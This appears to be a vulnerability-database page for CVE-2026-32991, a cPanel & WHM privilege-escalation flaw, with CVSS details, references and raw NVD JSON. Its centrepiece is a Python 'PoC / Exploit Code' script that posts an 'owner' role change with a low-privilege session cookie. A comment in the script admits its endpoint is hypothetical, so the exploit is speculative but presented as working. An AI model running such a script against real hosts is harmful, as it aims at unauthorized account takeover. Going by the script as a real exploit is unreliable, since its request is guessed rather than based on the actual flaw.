CVE-2026-32991

Description

Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N

Configurations (Affected Products)

No configuration data available.

cPanel & WHM < 118.0.0 (WP2 Update)

cPanel & WHM 118.0.0 之前的所有版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: cPanel & WHM Privilege Escalation (CVE-2026-32991)
# Description: Exploits improper authorization to escalate team member to team owner.

def exploit(target_url, session_cookie):
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Cookie": f"cpsession={session_cookie}"
    }
    
    # Hypothetical endpoint for team management based on vulnerability context
    endpoint = f"{target_url}/json-api/cpanel?cpanel_jsonapi_user=user&cpanel_jsonapi_module=Team&cpanel_jsonapi_func=update_role"
    
    payload = {
        "role": "owner",  # Attempting to set role to owner
        "user_id": "current_user_id"
    }

    try:
        response = requests.post(endpoint, headers=headers, data=payload, verify=False, timeout=10)
        if response.status_code == 200:
            result = response.json()
            if result.get('cpanelresult', {}).get('data', {}).get('role') == 'owner':
                print("[+] Exploit successful! Privileges escalated to Owner.")
            else:
                print("[-] Exploit failed: Role not changed.")
        else:
            print(f"[-] HTTP Error: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Replace with actual target and low-privilege session token
    target = "https://example.com:2083"
    token = "LOW_PRIV_TOKEN"
    exploit(target, token)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32991
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32991
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32991/
[4] VulDB https://vuldb.com/cve/CVE-2026-32991
[5] https://support.cpanel.net/hc/en-us/articles/40437254183959-Security-CVE-2026-32991-cPanel-WHM-WP2-Security-Update-May-13-2026

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-32991", "sourceIdentifier": "[email protected]", "published": "2026-05-13T23:16:43.110", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authorization checks of team members privileges allow a team member to escalate privileges to the team owner account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://support.cpanel.net/hc/en-us/articles/40437254183959-Security-CVE-2026-32991-cPanel-WHM-WP2-Security-Update-May-13-2026", "source": "[email protected]"}]}}